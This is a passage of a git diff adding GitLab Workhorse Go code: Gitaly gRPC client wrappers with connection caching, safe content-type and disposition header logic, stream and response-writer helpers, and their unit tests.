+func (client *BlobClient) SendBlob(ctx context.Context, w http.ResponseWriter, request *gitalypb.GetBlobRequest) error {
+ c, err := client.GetBlob(ctx, request)
+ if err != nil {
+ return fmt.Errorf("rpc failed: %v", err)
+ }
+
+ firstResponseReceived := false
+ rr := streamio.NewReader(func() ([]byte, error) {
+ resp, err := c.Recv()
+
+ if !firstResponseReceived && err == nil {
+ firstResponseReceived = true
+ w.Header().Set("Content-Length", strconv.FormatInt(resp.GetSize(), 10))
+ }
+
+ return resp.GetData(), err
+ })
+
+ if _, err := io.Copy(w, rr); err != nil {
+ return fmt.Errorf("copy rpc data: %v", err)
+ }
+
+ return nil
+}
diff --git a/workhorse/internal/gitaly/diff.go b/workhorse/internal/gitaly/diff.go
new file mode 100644
index 00000000000..035a58ec6fd
--- /dev/null
+++ b/workhorse/internal/gitaly/diff.go
@@ -0,0 +1,55 @@
+package gitaly
+
+import (
+ "context"
+ "fmt"
+ "io"
+ "net/http"
+
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/streamio"
+)
+
+type DiffClient struct {
+ gitalypb.DiffServiceClient
+}
+
+func (client *DiffClient) SendRawDiff(ctx context.Context, w http.ResponseWriter, request *gitalypb.RawDiffRequest) error {
+ c, err := client.RawDiff(ctx, request)
+ if err != nil {
+ return fmt.Errorf("rpc failed: %v", err)
+ }
+
+ w.Header().Del("Content-Length")
+
+ rr := streamio.NewReader(func() ([]byte, error) {
+ resp, err := c.Recv()
+ return resp.GetData(), err
+ })
+
+ if _, err := io.Copy(w, rr); err != nil {
+ return fmt.Errorf("copy rpc data: %v", err)
+ }
+
+ return nil
+}
+
+func (client *DiffClient) SendRawPatch(ctx context.Context, w http.ResponseWriter, request *gitalypb.RawPatchRequest) error {
+ c, err := client.RawPatch(ctx, request)
+ if err != nil {
+ return fmt.Errorf("rpc failed: %v", err)
+ }
+
+ w.Header().Del("Content-Length")
+
+ rr := streamio.NewReader(func() ([]byte, error) {
+ resp, err := c.Recv()
+ return resp.GetData(), err
+ })
+
+ if _, err := io.Copy(w, rr); err != nil {
+ return fmt.Errorf("copy rpc data: %v", err)
+ }
+
+ return nil
+}
diff --git a/workhorse/internal/gitaly/gitaly.go b/workhorse/internal/gitaly/gitaly.go
new file mode 100644
index 00000000000..c739ac8d9b2
--- /dev/null
+++ b/workhorse/internal/gitaly/gitaly.go
@@ -0,0 +1,188 @@
+package gitaly
+
+import (
+ "context"
+ "strings"
+ "sync"
+
+ "github.com/golang/protobuf/jsonpb" //lint:ignore SA1019 https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/274
+ "github.com/golang/protobuf/proto" //lint:ignore SA1019 https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/274
+ grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware"
+ grpc_prometheus "github.com/grpc-ecosystem/go-grpc-prometheus"
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+ gitalyauth "gitlab.com/gitlab-org/gitaly/auth"
+ gitalyclient "gitlab.com/gitlab-org/gitaly/client"
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "google.golang.org/grpc"
+ "google.golang.org/grpc/metadata"
+
+ grpccorrelation "gitlab.com/gitlab-org/labkit/correlation/grpc"
+ grpctracing "gitlab.com/gitlab-org/labkit/tracing/grpc"
+)
+
+type Server struct {
+ Address string `json:"address"`
+ Token string `json:"token"`
+ Features map[string]string `json:"features"`
+}
+
+type cacheKey struct{ address, token string }
+
+func (server Server) cacheKey() cacheKey {
+ return cacheKey{address: server.Address, token: server.Token}
+}
+
+type connectionsCache struct {
+ sync.RWMutex
+ connections map[cacheKey]*grpc.ClientConn
+}
+
+var (
+ jsonUnMarshaler = jsonpb.Unmarshaler{AllowUnknownFields: true}
+ cache = connectionsCache{
+ connections: make(map[cacheKey]*grpc.ClientConn),
+ }
+
+ connectionsTotal = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_gitaly_connections_total",
+ Help: "Number of Gitaly connections that have been established",
+ },
+ []string{"status"},
+ )
+)
+
+func withOutgoingMetadata(ctx context.Context, features map[string]string) context.Context {
+ md := metadata.New(nil)
+ for k, v := range features {
+ if !strings.HasPrefix(k, "gitaly-feature-") {
+ continue
+ }
+ md.Append(k, v)
+ }
+
+ return metadata.NewOutgoingContext(ctx, md)
+}
+
+func NewSmartHTTPClient(ctx context.Context, server Server) (context.Context, *SmartHTTPClient, error) {
+ conn, err := getOrCreateConnection(server)
+ if err != nil {
+ return nil, nil, err
+ }
+ grpcClient := gitalypb.NewSmartHTTPServiceClient(conn)
+ return withOutgoingMetadata(ctx, server.Features), &SmartHTTPClient{grpcClient}, nil
+}
+
+func NewBlobClient(ctx context.Context, server Server) (context.Context, *BlobClient, error) {
+ conn, err := getOrCreateConnection(server)
+ if err != nil {
+ return nil, nil, err
+ }
+ grpcClient := gitalypb.NewBlobServiceClient(conn)
+ return withOutgoingMetadata(ctx, server.Features), &BlobClient{grpcClient}, nil
+}
+
+func NewRepositoryClient(ctx context.Context, server Server) (context.Context, *RepositoryClient, error) {
+ conn, err := getOrCreateConnection(server)
+ if err != nil {
+ return nil, nil, err
+ }
+ grpcClient := gitalypb.NewRepositoryServiceClient(conn)
+ return withOutgoingMetadata(ctx, server.Features), &RepositoryClient{grpcClient}, nil
+}
+
+// NewNamespaceClient is only used by the Gitaly integration tests at present
+func NewNamespaceClient(ctx context.Context, server Server) (context.Context, *NamespaceClient, error) {
+ conn, err := getOrCreateConnection(server)
+ if err != nil {
+ return nil, nil, err
+ }
+ grpcClient := gitalypb.NewNamespaceServiceClient(conn)
+ return withOutgoingMetadata(ctx, server.Features), &NamespaceClient{grpcClient}, nil
+}
+
+func NewDiffClient(ctx context.Context, server Server) (context.Context, *DiffClient, error) {
+ conn, err := getOrCreateConnection(server)
+ if err != nil {
+ return nil, nil, err
+ }
+ grpcClient := gitalypb.NewDiffServiceClient(conn)
+ return withOutgoingMetadata(ctx, server.Features), &DiffClient{grpcClient}, nil
+}
+
+func getOrCreateConnection(server Server) (*grpc.ClientConn, error) {
+ key := server.cacheKey()
+
+ cache.RLock()
+ conn := cache.connections[key]
+ cache.RUnlock()
+
+ if conn != nil {
+ return conn, nil
+ }
+
+ cache.Lock()
+ defer cache.Unlock()
+
+ if conn := cache.connections[key]; conn != nil {
+ return conn, nil
+ }
+
+ conn, err := newConnection(server)
+ if err != nil {
+ return nil, err
+ }
+
+ cache.connections[key] = conn
+
+ return conn, nil
+}
+
+func CloseConnections() {
+ cache.Lock()
+ defer cache.Unlock()
+
+ for _, conn := range cache.connections {
+ conn.Close()
+ }
+}
+
+func newConnection(server Server) (*grpc.ClientConn, error) {
+ connOpts := append(gitalyclient.DefaultDialOpts,
+ grpc.WithPerRPCCredentials(gitalyauth.RPCCredentialsV2(server.Token)),
+ grpc.WithStreamInterceptor(
+ grpc_middleware.ChainStreamClient(
+ grpctracing.StreamClientTracingInterceptor(),
+ grpc_prometheus.StreamClientInterceptor,
+ grpccorrelation.StreamClientCorrelationInterceptor(
+ grpccorrelation.WithClientName("gitlab-workhorse"),
+ ),
+ ),
+ ),
+
+ grpc.WithUnaryInterceptor(
+ grpc_middleware.ChainUnaryClient(
+ grpctracing.UnaryClientTracingInterceptor(),
+ grpc_prometheus.UnaryClientInterceptor,
+ grpccorrelation.UnaryClientCorrelationInterceptor(
+ grpccorrelation.WithClientName("gitlab-workhorse"),
+ ),
+ ),
+ ),
+ )
+
+ conn, connErr := gitalyclient.Dial(server.Address, connOpts)
+
+ label := "ok"
+ if connErr != nil {
+ label = "fail"
+ }
+ connectionsTotal.WithLabelValues(label).Inc()
+
+ return conn, connErr
+}
+
+func UnmarshalJSON(s string, msg proto.Message) error {
+ return jsonUnMarshaler.Unmarshal(strings.NewReader(s), msg)
+}
diff --git a/workhorse/internal/gitaly/gitaly_test.go b/workhorse/internal/gitaly/gitaly_test.go
new file mode 100644
index 00000000000..b17fb5c1d7b
--- /dev/null
+++ b/workhorse/internal/gitaly/gitaly_test.go
@@ -0,0 +1,80 @@
+package gitaly
+
+import (
+ "context"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+ "google.golang.org/grpc/metadata"
+)
+
+func TestNewSmartHTTPClient(t *testing.T) {
+ ctx, _, err := NewSmartHTTPClient(context.Background(), serverFixture())
+ require.NoError(t, err)
+ testOutgoingMetadata(t, ctx)
+}
+
+func TestNewBlobClient(t *testing.T) {
+ ctx, _, err := NewBlobClient(context.Background(), serverFixture())
+ require.NoError(t, err)
+ testOutgoingMetadata(t, ctx)
+}
+
+func TestNewRepositoryClient(t *testing.T) {
+ ctx, _, err := NewRepositoryClient(context.Background(), serverFixture())
+ require.NoError(t, err)
+ testOutgoingMetadata(t, ctx)
+}
+
+func TestNewNamespaceClient(t *testing.T) {
+ ctx, _, err := NewNamespaceClient(context.Background(), serverFixture())
+ require.NoError(t, err)
+ testOutgoingMetadata(t, ctx)
+}
+
+func TestNewDiffClient(t *testing.T) {
+ ctx, _, err := NewDiffClient(context.Background(), serverFixture())
+ require.NoError(t, err)
+ testOutgoingMetadata(t, ctx)
+}
+
+func testOutgoingMetadata(t *testing.T, ctx context.Context) {
+ md, ok := metadata.FromOutgoingContext(ctx)
+ require.True(t, ok, "get metadata from context")
+
+ for k, v := range allowedFeatures() {
+ actual := md[k]
+ require.Len(t, actual, 1, "expect one value for %v", k)
+ require.Equal(t, v, actual[0], "value for %v", k)
+ }
+
+ for k := range badFeatureMetadata() {
+ require.Empty(t, md[k], "value for bad key %v", k)
+ }
+}
+
+func serverFixture() Server {
+ features := make(map[string]string)
+ for k, v := range allowedFeatures() {
+ features[k] = v
+ }
+ for k, v := range badFeatureMetadata() {
+ features[k] = v
+ }
+
+ return Server{Address: "tcp://localhost:123", Features: features}
+}
+
+func allowedFeatures() map[string]string {
+ return map[string]string{
+ "gitaly-feature-foo": "bar",
+ "gitaly-feature-qux": "baz",
+ }
+}
+
+func badFeatureMetadata() map[string]string {
+ return map[string]string{
+ "bad-metadata-1": "bad-value-1",
+ "bad-metadata-2": "bad-value-2",
+ }
+}
diff --git a/workhorse/internal/gitaly/namespace.go b/workhorse/internal/gitaly/namespace.go
new file mode 100644
index 00000000000..6db6ed4fc32
--- /dev/null
+++ b/workhorse/internal/gitaly/namespace.go
@@ -0,0 +1,8 @@
+package gitaly
+
+import "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+
+// NamespaceClient encapsulates NamespaceService calls
+type NamespaceClient struct {
+ gitalypb.NamespaceServiceClient
+}
diff --git a/workhorse/internal/gitaly/repository.go b/workhorse/internal/gitaly/repository.go
new file mode 100644
index 00000000000..e3ec3257a85
--- /dev/null
+++ b/workhorse/internal/gitaly/repository.go
@@ -0,0 +1,45 @@
+package gitaly
+
+import (
+ "context"
+ "fmt"
+ "io"
+
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/streamio"
+)
+
+// RepositoryClient encapsulates RepositoryService calls
+type RepositoryClient struct {
+ gitalypb.RepositoryServiceClient
+}
+
+// ArchiveReader performs a GetArchive Gitaly request and returns an io.Reader
+// for the response
+func (client *RepositoryClient) ArchiveReader(ctx context.Context, request *gitalypb.GetArchiveRequest) (io.Reader, error) {
+ c, err := client.GetArchive(ctx, request)
+ if err != nil {
+ return nil, fmt.Errorf("RepositoryService::GetArchive: %v", err)
+ }
+
+ return streamio.NewReader(func() ([]byte, error) {
+ resp, err := c.Recv()
+
+ return resp.GetData(), err
+ }), nil
+}
+
+// SnapshotReader performs a GetSnapshot Gitaly request and returns an io.Reader
+// for the response
+func (client *RepositoryClient) SnapshotReader(ctx context.Context, request *gitalypb.GetSnapshotRequest) (io.Reader, error) {
+ c, err := client.GetSnapshot(ctx, request)
+ if err != nil {
+ return nil, fmt.Errorf("RepositoryService::GetSnapshot: %v", err)
+ }
+
+ return streamio.NewReader(func() ([]byte, error) {
+ resp, err := c.Recv()
+
+ return resp.GetData(), err
+ }), nil
+}
diff --git a/workhorse/internal/gitaly/smarthttp.go b/workhorse/internal/gitaly/smarthttp.go
new file mode 100644
index 00000000000..d1fe6fae5ba
--- /dev/null
+++ b/workhorse/internal/gitaly/smarthttp.go
@@ -0,0 +1,139 @@
+package gitaly
+
+import (
+ "context"
+ "fmt"
+ "io"
+
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/streamio"
+)
+
+type SmartHTTPClient struct {
+ gitalypb.SmartHTTPServiceClient
+}
+
+func (client *SmartHTTPClient) InfoRefsResponseReader(ctx context.Context, repo *gitalypb.Repository, rpc string, gitConfigOptions []string, gitProtocol string) (io.Reader, error) {
+ rpcRequest := &gitalypb.InfoRefsRequest{
+ Repository: repo,
+ GitConfigOptions: gitConfigOptions,
+ GitProtocol: gitProtocol,
+ }
+
+ switch rpc {
+ case "git-upload-pack":
+ stream, err := client.InfoRefsUploadPack(ctx, rpcRequest)
+ return infoRefsReader(stream), err
+ case "git-receive-pack":
+ stream, err := client.InfoRefsReceivePack(ctx, rpcRequest)
+ return infoRefsReader(stream), err
+ default:
+ return nil, fmt.Errorf("InfoRefsResponseWriterTo: Unsupported RPC: %q", rpc)
+ }
+}
+
+type infoRefsClient interface {
+ Recv() (*gitalypb.InfoRefsResponse, error)
+}
+
+func infoRefsReader(stream infoRefsClient) io.Reader {
+ return streamio.NewReader(func() ([]byte, error) {
+ resp, err := stream.Recv()
+ return resp.GetData(), err
+ })
+}
+
+func (client *SmartHTTPClient) ReceivePack(ctx context.Context, repo *gitalypb.Repository, glId string, glUsername string, glRepository string, gitConfigOptions []string, clientRequest io.Reader, clientResponse io.Writer, gitProtocol string) error {
+ stream, err := client.PostReceivePack(ctx)
+ if err != nil {
+ return err
+ }
+
+ rpcRequest := &gitalypb.PostReceivePackRequest{
+ Repository: repo,
+ GlId: glId,
+ GlUsername: glUsername,
+ GlRepository: glRepository,
+ GitConfigOptions: gitConfigOptions,
+ GitProtocol: gitProtocol,
+ }
+
+ if err := stream.Send(rpcRequest); err != nil {
+ return fmt.Errorf("initial request: %v", err)
+ }
+
+ numStreams := 2
+ errC := make(chan error, numStreams)
+
+ go func() {
+ rr := streamio.NewReader(func() ([]byte, error) {
+ response, err := stream.Recv()
+ return response.GetData(), err
+ })
+ _, err := io.Copy(clientResponse, rr)
+ errC <- err
+ }()
+
+ go func() {
+ sw := streamio.NewWriter(func(data []byte) error {
+ return stream.Send(&gitalypb.PostReceivePackRequest{Data: data})
+ })
+ _, err := io.Copy(sw, clientRequest)
+ stream.CloseSend()
+ errC <- err
+ }()
+
+ for i := 0; i < numStreams; i++ {
+ if err := <-errC; err != nil {
+ return err
+ }
+ }
+
+ return nil
+}
+
+func (client *SmartHTTPClient) UploadPack(ctx context.Context, repo *gitalypb.Repository, clientRequest io.Reader, clientResponse io.Writer, gitConfigOptions []string, gitProtocol string) error {
+ stream, err := client.PostUploadPack(ctx)
+ if err != nil {
+ return err
+ }
+
+ rpcRequest := &gitalypb.PostUploadPackRequest{
+ Repository: repo,
+ GitConfigOptions: gitConfigOptions,
+ GitProtocol: gitProtocol,
+ }
+
+ if err := stream.Send(rpcRequest); err != nil {
+ return fmt.Errorf("initial request: %v", err)
+ }
+
+ numStreams := 2
+ errC := make(chan error, numStreams)
+
+ go func() {
+ rr := streamio.NewReader(func() ([]byte, error) {
+ response, err := stream.Recv()
+ return response.GetData(), err
+ })
+ _, err := io.Copy(clientResponse, rr)
+ errC <- err
+ }()
+
+ go func() {
+ sw := streamio.NewWriter(func(data []byte) error {
+ return stream.Send(&gitalypb.PostUploadPackRequest{Data: data})
+ })
+ _, err := io.Copy(sw, clientRequest)
+ stream.CloseSend()
+ errC <- err
+ }()
+
+ for i := 0; i < numStreams; i++ {
+ if err := <-errC; err != nil {
+ return err
+ }
+ }
+
+ return nil
+}
diff --git a/workhorse/internal/gitaly/unmarshal_test.go b/workhorse/internal/gitaly/unmarshal_test.go
new file mode 100644
index 00000000000..e2256903339
--- /dev/null
+++ b/workhorse/internal/gitaly/unmarshal_test.go
@@ -0,0 +1,35 @@
+package gitaly
+
+import (
+ "testing"
+
+ "github.com/stretchr/testify/require"
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+)
+
+func TestUnmarshalJSON(t *testing.T) {
+ testCases := []struct {
+ desc string
+ in string
+ out gitalypb.Repository
+ }{
+ {
+ desc: "basic example",
+ in: `{"relative_path":"foo/bar.git"}`,
+ out: gitalypb.Repository{RelativePath: "foo/bar.git"},
+ },
+ {
+ desc: "unknown field",
+ in: `{"relative_path":"foo/bar.git","unknown_field":12345}`,
+ out: gitalypb.Repository{RelativePath: "foo/bar.git"},
+ },
+ }
+
+ for _, tc := range testCases {
+ t.Run(tc.desc, func(t *testing.T) {
+ result := gitalypb.Repository{}
+ require.NoError(t, UnmarshalJSON(tc.in, &result))
+ require.Equal(t, tc.out, result)
+ })
+ }
+}
diff --git a/workhorse/internal/headers/content_headers.go b/workhorse/internal/headers/content_headers.go
new file mode 100644
index 00000000000..e43f10745d4
--- /dev/null
+++ b/workhorse/internal/headers/content_headers.go
@@ -0,0 +1,109 @@
+package headers
+
+import (
+ "net/http"
+ "regexp"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/utils/svg"
+)
+
+var (
+ ImageTypeRegex = regexp.MustCompile(`^image/*`)
+ SvgMimeTypeRegex = regexp.MustCompile(`^image/svg\+xml$`)
+
+ TextTypeRegex = regexp.MustCompile(`^text/*`)
+
+ VideoTypeRegex = regexp.MustCompile(`^video/*`)
+
+ PdfTypeRegex = regexp.MustCompile(`application\/pdf`)
+
+ AttachmentRegex = regexp.MustCompile(`^attachment`)
+ InlineRegex = regexp.MustCompile(`^inline`)
+)
+
+// Mime types that can't be inlined. Usually subtypes of main types
+var forbiddenInlineTypes = []*regexp.Regexp{SvgMimeTypeRegex}
+
+// Mime types that can be inlined. We can add global types like "image/" or
+// specific types like "text/plain". If there is a specific type inside a global
+// allowed type that can't be inlined we must add it to the forbiddenInlineTypes var.
+// One example of this is the mime type "image". We allow all images to be
+// inlined except for SVGs.
+var allowedInlineTypes = []*regexp.Regexp{ImageTypeRegex, TextTypeRegex, VideoTypeRegex, PdfTypeRegex}
+
+func SafeContentHeaders(data []byte, contentDisposition string) (string, string) {
+ contentType := safeContentType(data)
+ contentDisposition = safeContentDisposition(contentType, contentDisposition)
+ return contentType, contentDisposition
+}
+
+func safeContentType(data []byte) string {
+ // Special case for svg because DetectContentType detects it as text
+ if svg.Is(data) {
+ return "image/svg+xml"
+ }
+
+ // Override any existing Content-Type header from other ResponseWriters
+ contentType := http.DetectContentType(data)
+
+ // If the content is text type, we set to plain, because we don't
+ // want to render it inline if they're html or javascript
+ if isType(contentType, TextTypeRegex) {
+ return "text/plain; charset=utf-8"
+ }
+
+ return contentType
+}
+
+func safeContentDisposition(contentType string, contentDisposition string) string {
+ // If the existing disposition is attachment we return that. This allow us
+ // to force a download from GitLab (ie: RawController)
+ if AttachmentRegex.MatchString(contentDisposition) {
+ return contentDisposition
+ }
+
+ // Checks for mime types that are forbidden to be inline
+ for _, element := range forbiddenInlineTypes {
+ if isType(contentType, element) {
+ return attachmentDisposition(contentDisposition)
+ }
+ }
+
+ // Checks for mime types allowed to be inline
+ for _, element := range allowedInlineTypes {
+ if isType(contentType, element) {
+ return inlineDisposition(contentDisposition)
+ }
+ }
+
+ // Anything else is set to attachment
+ return attachmentDisposition(contentDisposition)
+}
+
+func attachmentDisposition(contentDisposition string) string {
+ if contentDisposition == "" {
+ return "attachment"
+ }
+
+ if InlineRegex.MatchString(contentDisposition) {
+ return InlineRegex.ReplaceAllString(contentDisposition, "attachment")
+ }
+
+ return contentDisposition
+}
+
+func inlineDisposition(contentDisposition string) string {
+ if contentDisposition == "" {
+ return "inline"
+ }
+
+ if AttachmentRegex.MatchString(contentDisposition) {
+ return AttachmentRegex.ReplaceAllString(contentDisposition, "inline")
+ }
+
+ return contentDisposition
+}
+
+func isType(contentType string, mimeType *regexp.Regexp) bool {
+ return mimeType.MatchString(contentType)
+}
diff --git a/workhorse/internal/headers/headers.go b/workhorse/internal/headers/headers.go
new file mode 100644
index 00000000000..63b39a6aa41
--- /dev/null
+++ b/workhorse/internal/headers/headers.go
@@ -0,0 +1,62 @@
+package headers
+
+import (
+ "net/http"
+ "strconv"
+)
+
+// Max number of bytes that http.DetectContentType needs to get the content type
+// Fixme: Go back to 512 bytes once https://gitlab.com/gitlab-org/gitlab-workhorse/issues/208
+// has been merged
+const MaxDetectSize = 4096
+
+// HTTP Headers
+const (
+ ContentDispositionHeader = "Content-Disposition"
+ ContentTypeHeader = "Content-Type"
+
+ // Workhorse related headers
+ GitlabWorkhorseSendDataHeader = "Gitlab-Workhorse-Send-Data"
+ XSendFileHeader = "X-Sendfile"
+ XSendFileTypeHeader = "X-Sendfile-Type"
+
+ // Signal header that indicates Workhorse should detect and set the content headers
+ GitlabWorkhorseDetectContentTypeHeader = "Gitlab-Workhorse-Detect-Content-Type"
+)
+
+var ResponseHeaders = []string{
+ XSendFileHeader,
+ GitlabWorkhorseSendDataHeader,
+ GitlabWorkhorseDetectContentTypeHeader,
+}
+
+func IsDetectContentTypeHeaderPresent(rw http.ResponseWriter) bool {
+ header, err := strconv.ParseBool(rw.Header().Get(GitlabWorkhorseDetectContentTypeHeader))
+ if err != nil || !header {
+ return false
+ }
+
+ return true
+}
+
+// AnyResponseHeaderPresent checks in the ResponseWriter if there is any Response Header
+func AnyResponseHeaderPresent(rw http.ResponseWriter) bool {
+ // If this header is not present means that we want the old behavior
+ if !IsDetectContentTypeHeaderPresent(rw) {
+ return false
+ }
+
+ for _, header := range ResponseHeaders {
+ if rw.Header().Get(header) != "" {
+ return true
+ }
+ }
+ return false
+}
+
+// RemoveResponseHeaders removes any ResponseHeader from the ResponseWriter
+func RemoveResponseHeaders(rw http.ResponseWriter) {
+ for _, header := range ResponseHeaders {
+ rw.Header().Del(header)
+ }
+}
diff --git a/workhorse/internal/headers/headers_test.go b/workhorse/internal/headers/headers_test.go
new file mode 100644
index 00000000000..555406ff165
--- /dev/null
+++ b/workhorse/internal/headers/headers_test.go
@@ -0,0 +1,24 @@
+package headers
+
+import (
+ "net/http/httptest"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestIsDetectContentTypeHeaderPresent(t *testing.T) {
+ rw := httptest.NewRecorder()
+
+ rw.Header().Del(GitlabWorkhorseDetectContentTypeHeader)
+ require.Equal(t, false, IsDetectContentTypeHeaderPresent(rw))
+
+ rw.Header().Set(GitlabWorkhorseDetectContentTypeHeader, "true")
+ require.Equal(t, true, IsDetectContentTypeHeaderPresent(rw))
+
+ rw.Header().Set(GitlabWorkhorseDetectContentTypeHeader, "false")
+ require.Equal(t, false, IsDetectContentTypeHeaderPresent(rw))
+
+ rw.Header().Set(GitlabWorkhorseDetectContentTypeHeader, "foobar")
+ require.Equal(t, false, IsDetectContentTypeHeaderPresent(rw))
+}
diff --git a/workhorse/internal/helper/context_reader.go b/workhorse/internal/helper/context_reader.go
new file mode 100644
index 00000000000..a4764043147
--- /dev/null
+++ b/workhorse/internal/helper/context_reader.go
@@ -0,0 +1,40 @@
+package helper
+
+import (
+ "context"
+ "io"
+)
+
+type ContextReader struct {
+ ctx context.Context
+ underlyingReader io.Reader
+}
+
+func NewContextReader(ctx context.Context, underlyingReader io.Reader) *ContextReader {
+ return &ContextReader{
+ ctx: ctx,
+ underlyingReader: underlyingReader,
+ }
+}
+
+func (r *ContextReader) Read(b []byte) (int, error) {
+ if r.canceled() {
+ return 0, r.err()
+ }
+
+ n, err := r.underlyingReader.Read(b)
+
+ if r.canceled() {
+ err = r.err()
+ }
+
+ return n, err
+}
+
+func (r *ContextReader) canceled() bool {
+ return r.err() != nil
+}
+
+func (r *ContextReader) err() error {
+ return r.ctx.Err()
+}
diff --git a/workhorse/internal/helper/context_reader_test.go b/workhorse/internal/helper/context_reader_test.go
new file mode 100644
index 00000000000..257ec4e35f2
--- /dev/null
+++ b/workhorse/internal/helper/context_reader_test.go
@@ -0,0 +1,83 @@
+package helper
+
+import (
+ "context"
+ "io"
+ "testing"
+ "time"
+
+ "github.com/stretchr/testify/require"
+)
+
+type fakeReader struct {
+ n int
+ err error
+}
+
+func (f *fakeReader) Read(b []byte) (int, error) {
+ return f.n, f.err
+}
+
+type fakeContextWithTimeout struct {
+ n int
+ threshold int
+}
+
+func (*fakeContextWithTimeout) Deadline() (deadline time.Time, ok bool) {
+ return
+}
+
+func (*fakeContextWithTimeout) Done() <-chan struct{} {
+ return nil
+}
+
+func (*fakeContextWithTimeout) Value(key interface{}) interface{} {
+ return nil
+}
+
+func (f *fakeContextWithTimeout) Err() error {
+ f.n++
+ if f.n > f.threshold {
+ return context.DeadlineExceeded
+ }
+
+ return nil
+}
+
+func TestContextReaderRead(t *testing.T) {
+ underlyingReader := &fakeReader{n: 1, err: io.EOF}
+
+ for _, tc := range []struct {
+ desc string
+ ctx *fakeContextWithTimeout
+ expectedN int
+ expectedErr error
+ }{
+ {
+ desc: "Before and after read deadline checks are fine",
+ ctx: &fakeContextWithTimeout{n: 0, threshold: 2},
+ expectedN: underlyingReader.n,
+ expectedErr: underlyingReader.err,
+ },
+ {
+ desc: "Before read deadline check fails",
+ ctx: &fakeContextWithTimeout{n: 0, threshold: 0},
+ expectedN: 0,
+ expectedErr: context.DeadlineExceeded,
+ },
+ {
+ desc: "After read deadline check fails",
+ ctx: &fakeContextWithTimeout{n: 0, threshold: 1},
+ expectedN: underlyingReader.n,
+ expectedErr: context.DeadlineExceeded,
+ },
+ } {
+ t.Run(tc.desc, func(t *testing.T) {
+ cr := NewContextReader(tc.ctx, underlyingReader)
+
+ n, err := cr.Read(nil)
+ require.Equal(t, tc.expectedN, n)
+ require.Equal(t, tc.expectedErr, err)
+ })
+ }
+}
diff --git a/workhorse/internal/helper/countingresponsewriter.go b/workhorse/internal/helper/countingresponsewriter.go
new file mode 100644
index 00000000000..a79d51d4c6a
--- /dev/null
+++ b/workhorse/internal/helper/countingresponsewriter.go
@@ -0,0 +1,56 @@
+package helper
+
+import (
+ "net/http"
+)
+
+type CountingResponseWriter interface {
+ http.ResponseWriter
+ Count() int64
+ Status() int
+}
+
+type countingResponseWriter struct {
+ rw http.ResponseWriter
+ status int
+ count int64
+}
+
+func NewCountingResponseWriter(rw http.ResponseWriter) CountingResponseWriter {
+ return &countingResponseWriter{rw: rw}
+}
+
+func (c *countingResponseWriter) Header() http.Header {
+ return c.rw.Header()
+}
+
+func (c *countingResponseWriter) Write(data []byte) (int, error) {
+ if c.status == 0 {
+ c.WriteHeader(http.StatusOK)
+ }
+
+ n, err := c.rw.Write(data)
+ c.count += int64(n)
+ return n, err
+}
+
+func (c *countingResponseWriter) WriteHeader(status int) {
+ if c.status != 0 {
+ return
+ }
+
+ c.status = status
+ c.rw.WriteHeader(status)
+}
+
+// Count returns the number of bytes written to the ResponseWriter. This
+// function is not thread-safe.
+func (c *countingResponseWriter) Count() int64 {
+ return c.count
+}
+
+// Status returns the first HTTP status value that was written to the
+// ResponseWriter. This function is not thread-safe.
+func (c *countingResponseWriter) Status() int {
+ return c.status
+}
diff --git a/workhorse/internal/helper/countingresponsewriter_test.go b/workhorse/internal/helper/countingresponsewriter_test.go
new file mode 100644
index 00000000000..f9f2f4ced5b
--- /dev/null
+++ b/workhorse/internal/helper/countingresponsewriter_test.go
@@ -0,0 +1,50 @@
+package helper
+
+import (
+ "bytes"
+ "io"
+ "net/http"
+ "testing"
+ "testing/iotest"
+
+ "github.com/stretchr/testify/require"
+)
+
+type testResponseWriter struct {
+ data []byte
+}
+
+func (*testResponseWriter) WriteHeader(int) {}
+func (*testResponseWriter) Header() http.Header { return nil }
+
+func (trw *testResponseWriter) Write(p []byte) (int, error) {
+ trw.data = append(trw.data, p...)
+ return len(p), nil
+}
+
+func TestCountingResponseWriterStatus(t *testing.T) {
+ crw := NewCountingResponseWriter(&testResponseWriter{})
+ crw.WriteHeader(123)
+ crw.WriteHeader(456)
+ require.Equal(t, 123, crw.Status())
+}
+
+func TestCountingResponseWriterCount(t *testing.T) {
+ crw := NewCountingResponseWriter(&testResponseWriter{})
+ for _, n := range []int{1, 2, 4, 8, 16, 32} {
+ _, err := crw.Write(bytes.Repeat([]byte{'.'}, n))
+ require.NoError(t, err)
+ }
+ require.Equal(t, int64(63), crw.Count())
+}
+
+func TestCountingResponseWriterWrite(t *testing.T) {
+ trw := &testResponseWriter{}
+ crw := NewCountingResponseWriter(trw)
+
+ testData := []byte("test data")
+ _, err := io.Copy(crw, iotest.OneByteReader(bytes.NewReader(testData)))
+ require.NoError(t, err)
+
+ require.Equal(t, string(testData), string(trw.data))
+}
diff --git a/workhorse/internal/helper/helpers.go b/workhorse/internal/helper/helpers.go
new file mode 100644
index 00000000000..5f1e5fc51b3
--- /dev/null
+++ b/workhorse/internal/helper/helpers.go
@@ -0,0 +1,217 @@
+package helper
+
+import (
+ "bytes"
+ "errors"
+ "io/ioutil"
+ "mime"
+ "net"
+ "net/http"
+ "net/url"
+ "os"
+ "os/exec"
+ "strings"
+ "syscall"
+
+ "github.com/sebest/xff"
+ "gitlab.com/gitlab-org/labkit/log"
+ "gitlab.com/gitlab-org/labkit/mask"
+)
+
+const NginxResponseBufferHeader = "X-Accel-Buffering"
+
+func LogError(r *http.Request, err error) {
+ LogErrorWithFields(r, err, nil)
+}
+
+func LogErrorWithFields(r *http.Request, err error, fields log.Fields) {
+ if err != nil {
+ captureRavenError(r, err, fields)
+ }
+
